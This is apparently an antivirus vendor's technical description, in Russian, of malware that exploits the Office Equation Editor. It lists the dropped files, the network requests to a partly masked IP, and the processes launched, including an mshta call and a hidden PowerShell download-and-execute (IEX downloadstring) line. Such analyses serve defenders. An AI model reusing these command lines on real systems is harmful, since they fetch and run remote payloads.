Техническая информация
Вредоносные функции
Загружает файлы и запускает на исполнение.
Запускает на исполнение (эксплоит)
- '%WINDIR%\syswow64\mshta.exe' http://17#.##.151.201:4545/hta &AAAAAA C
Изменения в файловой системе
Создает следующие файлы
- C:\users\public\rnek.exe
Сетевая активность
TCP
Запросы HTTP GET
- http://17#.##.151.201:4545/hta via 17#.#3.151.201
- http://17#.##.151.201:4545/get via 17#.#3.151.201
UDP
- DNS ASK pa###bin.com
Другое
Создает и запускает на исполнение
- 'C:\users\public\rnek.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -exec bypass -w 1 -c $V=new-object net.webclient;$V.proxy=[Net.WebRequest]::GetSystemWebProxy();$V.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX($V.downloadstring('http://17#....' (со скрытым окном)
- '%WINDIR%\syswow64\mshta.exe' http://17#.##.151.201:4545/hta &AAAAAA C' (со скрытым окном)
Запускает на исполнение
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
